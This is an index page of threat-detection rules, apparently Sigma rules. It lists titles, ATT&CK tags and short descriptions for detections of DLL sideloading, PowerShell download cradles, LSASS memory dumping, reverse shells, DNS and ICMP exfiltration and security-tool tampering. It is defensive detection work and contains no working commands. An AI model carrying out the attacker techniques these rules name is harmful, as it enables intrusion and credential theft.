Potential System DLL Sideloading From Non System Locations

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.).

Read More
Potential SystemNightmare Exploitation Attempt

Aug 12, 2024 · attack.privilege-escalation attack.t1068 detection.emerging-threats ·
Share on:

Detects an exploitation attempt of SystemNightmare in order to obtain a shell as LOCAL_SYSTEM

Read More
Potential Tampering With RDP Related Registry Keys Via Reg.EXE

Aug 12, 2024 · attack.defense-evasion attack.lateral-movement attack.t1021.001 attack.t1112 ·
Share on:

Detects the execution of "reg.exe" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\Control\Terminal Server' values

Read More
Potential Tampering With Security Products Via WMIC

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects uninstallation or termination of security products using the WMIC utility

Read More
Potential Unquoted Service Path Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects known WMI recon method to look for unquoted service paths using wmic. Often used by pentester and attacker enumeration scripts

Read More
Potential Ursnif Malware Activity - Registry

Aug 12, 2024 · attack.execution attack.t1112 detection.emerging-threats ·
Share on:

Detects registry keys related to Ursnif malware.

Read More
Potential Vivaldi_elf.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "vivaldi_elf.dll"

Read More
Potential Waveedit.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "waveedit.dll", which is part of the Nero WaveEditor audio editing software.

Read More
Potential Wazuh Security Platform DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL side loading of DLLs that are part of the Wazuh security platform

Read More
Potential Webshell Creation On Static Website

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects the creation of files with certain extensions on a static web site. This can be indicative of potential uploads of a web shell.

Read More
Potential WerFault ReflectDebugger Registry Value Abuse

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·
Share on:

Detects potential WerFault "ReflectDebugger" registry value abuse for persistence.

Read More
Potential WinAPI Calls Via CommandLine

Aug 12, 2024 · attack.execution attack.t1106 ·
Share on:

Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec

Read More
Potential WinAPI Calls Via PowerShell Scripts

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1106 ·
Share on:

Detects use of WinAPI functions in PowerShell scripts

Read More
Potential Windows Defender AV Bypass Via Dump64.EXE Rename

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects when a user is potentially trying to bypass the Windows Defender AV by renaming a tool to dump64.exe and placing it in the Visual Studio folder. Currently the rule is covering only usage of procdump but other utilities can be added in order to increase coverage.

Read More
Potential Windows Defender Tampering Via Wmic.EXE

Aug 12, 2024 · attack.credential-access attack.t1546.008 ·
Share on:

Detects potential tampering with Windows Defender settings such as adding exclusion using wmic

Read More
Potential Winnti Dropper Activity

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects files dropped by Winnti as described in RedMimicry Winnti playbook

Read More
Potential WizardUpdate Malware Infection

Aug 12, 2024 · attack.command-and-control ·
Share on:

Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.

Read More
Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell

Aug 12, 2024 · attack.execution attack.t1047 attack.t1059.001 ·
Share on:

Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI.

Read More
Potential WWlib.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "wwlib.dll"

Read More
Potential Xterm Reverse Shell

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects usage of "xterm" as a potential reverse shell tunnel

Read More
Potential XXE Exploitation Attempt In JVM Based Application

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.

Read More
Potentially Over Permissive Permissions Granted Using Dsacls.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects usage of Dsacls to grant over permissive permissions

Read More
Potentially Suspicious ASP.NET Compilation Via AspNetCompiler

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Detects execution of "aspnet_compiler.exe" with potentially suspicious paths for compilation.

Read More
Potentially Suspicious Call To Win32_NTEventlogFile Class

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script

Read More
Potentially Suspicious Call To Win32_NTEventlogFile Class - PSScript

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script

Read More
Potentially Suspicious Child Process Of ClickOnce Application

Aug 12, 2024 · attack.execution attack.defense-evasion ·
Share on:

Detects potentially suspicious child processes of a ClickOnce deployment application

Read More
Potentially Suspicious Child Process Of DiskShadow.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects potentially suspicious child processes of "Diskshadow.exe". This could be an attempt to bypass parent/child relationship detection or application whitelisting rules.

Read More
Potentially Suspicious Child Process of KeyScrambler.exe

Aug 12, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1203 attack.t1574.002 ·
Share on:

Detects potentially suspicious child processes of KeyScrambler.exe

Read More
Potentially Suspicious Child Process Of Regsvr32

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 ·
Share on:

Detects potentially suspicious child processes of "regsvr32.exe".

Read More
Potentially Suspicious Child Process Of WinRAR.EXE

Aug 12, 2024 · attack.execution attack.t1203 ·
Share on:

Detects potentially suspicious child processes of WinRAR.exe.

Read More
Potentially Suspicious CMD Shell Output Redirect

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects inline Windows shell commands redirecting output via the ">" symbol to a suspicious location. This technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as "hostname" and "dir" to files for future exfiltration.

Read More
Potentially Suspicious DLL Registered Via Odbcconf.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.008 ·
Share on:

Detects execution of "odbcconf" with the "REGSVR" action where the DLL in question doesn't contain a ".dll" extension. Which is often used as a method to evade defenses.

Read More
Potentially Suspicious DMP/HDMP File Creation

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the creation of a file with the ".dmp"/".hdmp" extension by a shell or scripting application such as "cmd", "powershell", etc. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.

Read More
Potentially Suspicious Event Viewer Child Process

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 car.2019-04-001 ·
Share on:

Detects uncommon or suspicious child processes of "eventvwr.exe" which might indicate a UAC bypass attempt

Read More
Potentially Suspicious Execution From Parent Process In Public Folder

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1564 attack.t1059 ·
Share on:

Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell or scripting binaries and commandlines.

Read More
Potentially Suspicious Execution From Tmp Folder

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects a potentially suspicious execution of a process located in the '/tmp/' folder

Read More
Potentially Suspicious Execution Of PDQDeployRunner

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious execution of "PDQDeployRunner" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines

Read More
Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location

Aug 12, 2024 · attack.defense-evasion attack.t1218.009 ·
Share on:

Detects potentially suspicious execution of the Regasm/Regsvcs utilities from a potentially suspicious location

Read More
Potentially Suspicious Execution Of Regasm/Regsvcs With Uncommon Extension

Aug 12, 2024 · attack.defense-evasion attack.t1218.009 ·
Share on:

Detects potentially suspicious execution of the Regasm/Regsvcs utilities with an uncommon extension.

Read More
Potentially Suspicious File Download From ZIP TLD

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the download of a file with a potentially suspicious extension from a .zip top level domain.

Read More
Potentially Suspicious GoogleUpdate Child Process

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects potentially suspicious child processes of "GoogleUpdate.exe"

Read More
Potentially Suspicious Malware Callback Communication

Aug 12, 2024 · attack.persistence attack.command-and-control attack.t1571 ·
Share on:

Detects programs that connect to known malware callback ports based on statistical analysis from two different sandbox system databases

Read More
Potentially Suspicious Malware Callback Communication - Linux

Aug 12, 2024 · attack.persistence attack.command-and-control attack.t1571 ·
Share on:

Detects programs that connect to known malware callback ports based on threat intelligence reports.

Read More
Potentially Suspicious Named Pipe Created Via Mkfifo

Aug 12, 2024 · attack.execution ·
Share on:

Detects the creation of a new named pipe using the "mkfifo" utility in a potentially suspicious location

Read More
Potentially Suspicious Network Connection To Notion API

Aug 12, 2024 · attack.command-and-control attack.t1102 ·
Share on:

Detects a non-browser process communicating with the Notion API. This could indicate potential use of a covert C2 channel such as "OffensiveNotion C2"

Read More
Potentially Suspicious ODBC Driver Registered

Aug 12, 2024 · attack.persistence attack.t1003 ·
Share on:

Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location

Read More
Potentially Suspicious Ping/Copy Command Combination

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects uncommon and potentially suspicious one-liner command containing both "ping" and "copy" at the same time, which is usually used by malware.

Read More
Potentially Suspicious Regsvr32 HTTP IP Pattern

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 ·
Share on:

Detects regsvr32 execution to download and install DLLs located remotely where the address is an IP address.

Read More
Potentially Suspicious Regsvr32 HTTP/FTP Pattern

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 ·
Share on:

Detects regsvr32 execution to download/install/register new DLLs that are hosted on Web or FTP servers.

Read More
Potentially Suspicious Rundll32 Activity

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects suspicious execution of rundll32, with specific calls to some DLLs with known LOLBIN functionalities

Read More
Potentially Suspicious Shell Script Creation in Profile Folder

Aug 12, 2024 · attack.persistence ·
Share on:

Detects the creation of shell scripts under the "profile.d" path.

Read More
Potentially Suspicious Usage Of Qemu

Aug 12, 2024 · attack.command-and-control attack.t1090 attack.t1572 ·
Share on:

Detects potentially suspicious execution of the Qemu utility in a Windows environment. Threat actors have leveraged this utility and this technique for achieving network access as reported by Kaspersky.

Read More
Potentially Suspicious WebDAV LNK Execution

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1204 ·
Share on:

Detects possible execution via LNK file accessed on a WebDAV server.

Read More
Potentially Suspicious Windows App Activity

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects potentially suspicious child process of applications launched from inside the WindowsApps directory. This could be a sign of a rogue ".appx" package installation/execution

Read More
Potentially Suspicious Wuauclt Network Connection

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making network connections. One could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.

Read More
Powershell Add Name Resolution Policy Table Rule

Aug 12, 2024 · attack.impact attack.t1565 ·
Share on:

Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace. This will bypass the default DNS server and uses a specified server for answering the query.

Read More
PowerShell ADRecon Execution

Aug 12, 2024 · attack.discovery attack.execution attack.t1059.001 ·
Share on:

Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7

Read More
PowerShell as a Service in Registry

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects that a powershell code is written to the registry as a service.

Read More
PowerShell Base64 Encoded FromBase64String Cmdlet

Aug 12, 2024 · attack.defense-evasion attack.t1140 attack.execution attack.t1059.001 ·
Share on:

Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line

Read More
PowerShell Base64 Encoded IEX Cmdlet

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects usage of a base64 encoded "IEX" cmdlet in a process command line

Read More
PowerShell Base64 Encoded Invoke Keyword

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027 ·
Share on:

Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls

Read More
Powershell Base64 Encoded MpPreference Cmdlet

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects base64 encoded "MpPreference" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV

Read More
PowerShell Base64 Encoded Reflective Assembly Load

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027 attack.t1620 ·
Share on:

Detects base64 encoded .NET reflective loading of Assembly

Read More
PowerShell Base64 Encoded WMI Classes

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027 ·
Share on:

Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc.

Read More
PowerShell Called from an Executable Version Mismatch

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell called from an executable by the version mismatch method

Read More
PowerShell Console History Logs Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·
Share on:

Detects the deletion of the PowerShell console History logs which may indicate an attempt to destroy forensic evidence

Read More
PowerShell Core DLL Loaded Via Office Application

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects PowerShell core DLL being loaded by an Office Product

Read More
PowerShell Create Local User

Aug 12, 2024 · attack.execution attack.t1059.001 attack.persistence attack.t1136.001 ·
Share on:

Detects creation of a local user via PowerShell

Read More
Powershell Create Scheduled Task

Aug 12, 2024 · attack.persistence attack.t1053.005 ·
Share on:

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code

Read More
PowerShell Credential Prompt

Aug 12, 2024 · attack.credential-access attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell calling a credential prompt

Read More
PowerShell Decompress Commands

Aug 12, 2024 · attack.defense-evasion attack.t1140 ·
Share on:

A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.

Read More
Powershell Defender Disable Scan Feature

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects requests to disable Microsoft Defender features using PowerShell commands

Read More
Powershell Defender Exclusion

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets

Read More
PowerShell Deleted Mounted Share

Aug 12, 2024 · attack.defense-evasion attack.t1070.005 ·
Share on:

Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation

Read More
Powershell Detect Virtualization Environment

Aug 12, 2024 · attack.defense-evasion attack.t1497.001 ·
Share on:

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox

Read More
Powershell Directory Enumeration

Aug 12, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects technique used by MAZE ransomware to enumerate directories using Powershell

Read More
Powershell DNSExfiltration

Aug 12, 2024 · attack.exfiltration attack.t1048 ·
Share on:

DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel

Read More
PowerShell Downgrade Attack - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0

Read More
PowerShell Download and Execution Cradles

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects PowerShell download and execution cradles.

Read More
PowerShell Download Pattern

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects a Powershell process that contains download commands in its command line string

Read More
PowerShell DownloadFile

Aug 12, 2024 · attack.execution attack.t1059.001 attack.command-and-control attack.t1104 attack.t1105 ·
Share on:

Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line

Read More
Powershell Execute Batch Script

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system

Read More
Powershell Executed From Headless ConHost Process

Aug 12, 2024 · attack.defense-evasion attack.t1059.001 attack.t1059.003 ·
Share on:

Detects the use of powershell commands from headless ConHost window. The "--headless" flag hides the windows from the user upon execution.

Read More
PowerShell Get Clipboard

Aug 12, 2024 · attack.collection attack.t1115 ·
Share on:

A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.

Read More
PowerShell Get-Clipboard Cmdlet Via CLI

Aug 12, 2024 · attack.collection attack.t1115 ·
Share on:

Detects usage of the 'Get-Clipboard' cmdlet via CLI

Read More
PowerShell Get-Process LSASS

Aug 12, 2024 · attack.credential-access attack.t1552.004 ·
Share on:

Detects a "Get-Process" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity

Read More
PowerShell Get-Process LSASS in ScriptBlock

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity

Read More
PowerShell Hotfix Enumeration

Aug 12, 2024 · attack.discovery ·
Share on:

Detects call to "Win32_QuickFixEngineering" in order to enumerate installed hotfixes often used in "enum" scripts by attackers

Read More
PowerShell ICMP Exfiltration

Aug 12, 2024 · attack.exfiltration attack.t1048.003 ·
Share on:

Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

Read More
Powershell Inline Execution From A File

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects inline execution of PowerShell code from a file

Read More
Powershell Install a DLL in System Directory

Aug 12, 2024 · attack.credential-access attack.t1556.002 ·
Share on:

Uses PowerShell to install/copy a file into a system directory such as "System32" or "SysWOW64"

Read More
Powershell Keylogging

Aug 12, 2024 · attack.collection attack.t1056.001 ·
Share on:

Adversaries may log user keystrokes to intercept credentials as the user types them.

Read More
Powershell Local Email Collection

Aug 12, 2024 · attack.collection attack.t1114.001 ·
Share on:

Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a users local system, such as Outlook storage or cache files.

Read More
Powershell LocalAccount Manipulation

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups

Read More
PowerShell Logging Disabled Via Registry Key Tampering

Aug 12, 2024 · attack.defense-evasion attack.t1564.001 ·
Share on:

Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging

Read More
PowerShell Module File Created

Aug 12, 2024 · attack.persistence ·
Share on:

Detects the creation of a new PowerShell module ".psm1", ".psd1", ".dll", ".ps1", etc.

Read More
Powershell MsXml COM Object

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code

Read More
PowerShell Profile Modification

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.013 ·
Share on:

Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence

Read More
PowerShell PSAttack

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the use of PSAttack PowerShell hack tool

Read More
PowerShell Remote Session Creation

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system

Read More
PowerShell SAM Copy

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·
Share on:

Detects suspicious PowerShell scripts accessing SAM hives

Read More
PowerShell Script Change Permission Via Set-Acl

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects PowerShell execution to set the ACL of a file or a folder

Read More
PowerShell Script Change Permission Via Set-Acl - PsScript

Aug 12, 2024 · attack.defense-evasion attack.t1222 ·
Share on:

Detects PowerShell scripts set ACL to of a file or a folder

Read More
PowerShell Script Dropped Via PowerShell.EXE

Aug 12, 2024 · attack.persistence ·
Share on:

Detects PowerShell creating a PowerShell file (.ps1). While often times this behavior is benign, sometimes it can be a sign of a dropper script trying to achieve persistence.

Read More
PowerShell Script Run in AppData

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder

Read More
PowerShell Script With File Hostname Resolving Capabilities

Aug 12, 2024 · attack.exfiltration attack.t1020 ·
Share on:

Detects PowerShell scripts that have capabilities to read files, loop through them and resolve DNS host entries.

Read More
PowerShell Script With File Upload Capabilities

Aug 12, 2024 · attack.exfiltration attack.t1020 ·
Share on:

Detects PowerShell scripts leveraging the "Invoke-WebRequest" cmdlet to send data via either "PUT" or "POST" method.

Read More
PowerShell Scripts Installed as Services

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects powershell script installed as a Service

Read More
PowerShell Scripts Installed as Services - Security

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects powershell script installed as a Service

Read More
Powershell Sensitive File Discovery

Aug 12, 2024 · attack.discovery attack.t1083 ·
Share on:

Detect adversaries enumerate sensitive files

Read More
PowerShell Set-Acl On Windows Folder

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects PowerShell scripts to set the ACL to a file in the Windows folder

Read More
PowerShell Set-Acl On Windows Folder - PsScript

Aug 12, 2024 · attack.defense-evasion attack.t1222 ·
Share on:

Detects PowerShell scripts to set the ACL to a file in the Windows folder

Read More
PowerShell ShellCode

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 attack.execution attack.t1059.001 ·
Share on:

Detects Base64 encoded Shellcode

Read More
Powershell Store File In Alternate Data Stream

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.

Read More
Powershell Suspicious Win32_PnPEntity

Aug 12, 2024 · attack.discovery attack.t1120 ·
Share on:

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.

Read More
Powershell Timestomp

Aug 12, 2024 · attack.defense-evasion attack.t1070.006 ·
Share on:

Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.

Read More
Powershell Token Obfuscation - Process Creation

Aug 12, 2024 · attack.defense-evasion attack.t1027.009 ·
Share on:

Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation

Read More
PowerShell Web Download

Aug 12, 2024 · attack.command-and-control attack.execution attack.t1059.001 attack.t1105 ·
Share on:

Detects suspicious ways to download files or content using PowerShell

Read More
Powershell WMI Persistence

Aug 12, 2024 · attack.privilege-escalation attack.t1546.003 ·
Share on:

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.

Read More
PowerShell WMI Win32_Product Install MSI

Aug 12, 2024 · attack.defense-evasion attack.t1218.007 ·
Share on:

Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class

Read More
PowerShell Write-EventLog Usage

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects usage of the "Write-EventLog" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use

Read More
Powershell XML Execute Command

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code

Read More
Powerview Add-DomainObjectAcl DCSync AD Extend Right

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer

Read More
PowerView PowerShell Cmdlets - ScriptBlock

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects Cmdlet names from PowerView of the PowerSploit exploitation framework.

Read More
Prefetch File Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence

Read More
Primary Refresh Token Access Attempt

Aug 12, 2024 · attack.t1528 attack.credential-access ·
Share on:

Indicates access attempt to the PRT resource which can be used to move laterally into an organization or perform credential theft

Read More
Print History File Contents

Aug 12, 2024 · attack.reconnaissance attack.t1592.004 ·
Share on:

Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance

Read More
PrintBrm ZIP Creation of Extraction

Aug 12, 2024 · attack.command-and-control attack.t1105 attack.defense-evasion attack.t1564.004 ·
Share on:

Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.

Read More
PrinterNightmare Mimikatz Driver Name

Aug 12, 2024 · attack.execution attack.t1204 cve.2021-1675 cve.2021-34527 ·
Share on:

Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527

Read More
Private Keys Reconnaissance Via CommandLine Tools

Aug 12, 2024 · attack.credential-access attack.t1552.004 ·
Share on:

Adversaries may search for private key certificate files on compromised systems for insecurely stored credential

Read More
Privilege Escalation via Named Pipe Impersonation

Aug 12, 2024 · attack.lateral-movement attack.t1021 ·
Share on:

Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.

Read More
Privileged Account Creation

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1078.004 ·
Share on:

Detects when a new admin is created.

Read More
Privileged Container Deployed

Aug 12, 2024 · attack.t1611 ·
Share on:

Detects the creation of a "privileged" container, an action which could be indicative of a threat actor mounting a container breakout attacks. A privileged container is a container that can access the host with all of the root capabilities of the host machine. This allows it to view, interact and modify processes, network operations, IPC calls, the file system, mount points, SELinux configurations etc. as the root user on the host. Various versions of "privileged" containers can be specified, e.g. by setting the securityContext.privileged flag in the resource specification, setting non-standard Linux capabilities, or configuring the hostNetwork/hostPID fields

Read More
Privileged User Has Been Created

Aug 12, 2024 · attack.persistence attack.t1136.001 attack.t1098 ·
Share on:

Detects the addition of a new user to a privileged group such as "root" or "sudo"

Read More
Procdump Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1003.001 ·
Share on:

Detects usage of the SysInternals Procdump utility

Read More
Process Access via TrolleyExpress Exclusion

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 attack.credential-access attack.t1003.001 ·
Share on:

Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory

Read More
Process Creation Using Sysnative Folder

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·
Share on:

Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)

Read More
Process Execution Error In JVM Based Application

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects process execution related exceptions in JVM based apps, often relates to RCE

Read More
Process Execution From A Potentially Suspicious Folder

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects a potentially suspicious execution from an uncommon folder.

Read More
Process Explorer Driver Creation By Non-Sysinternals Binary

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1068 ·
Share on:

Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself. Hack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.

Read More
Process Initiated Network Connection To Ngrok Domain

Aug 12, 2024 · attack.exfiltration attack.t1567.001 ·
Share on:

Detects an executable initiating a network connection to "ngrok" domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.

Read More
Process Launched Without Image Name

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detect the use of processes with no name (".exe"), which can be used to evade Image-based detections.

Read More
Process Memory Dump Via Comsvcs.DLL

Aug 12, 2024 · attack.defense-evasion attack.credential-access attack.t1036 attack.t1003.001 car.2013-05-009 ·
Share on:

Detects a process memory dump via "comsvcs.dll" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)

Read More
Process Memory Dump Via Dotnet-Dump

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the execution of "dotnet-dump" with the "collect" flag. The execution could indicate potential process dumping of critical processes such as LSASS.

Read More
Process Monitor Driver Creation By Non-Sysinternals Binary

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1068 ·
Share on:

Detects creation of the Process Monitor driver by processes other than Process Monitor (procmon) itself.

Read More
Process Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

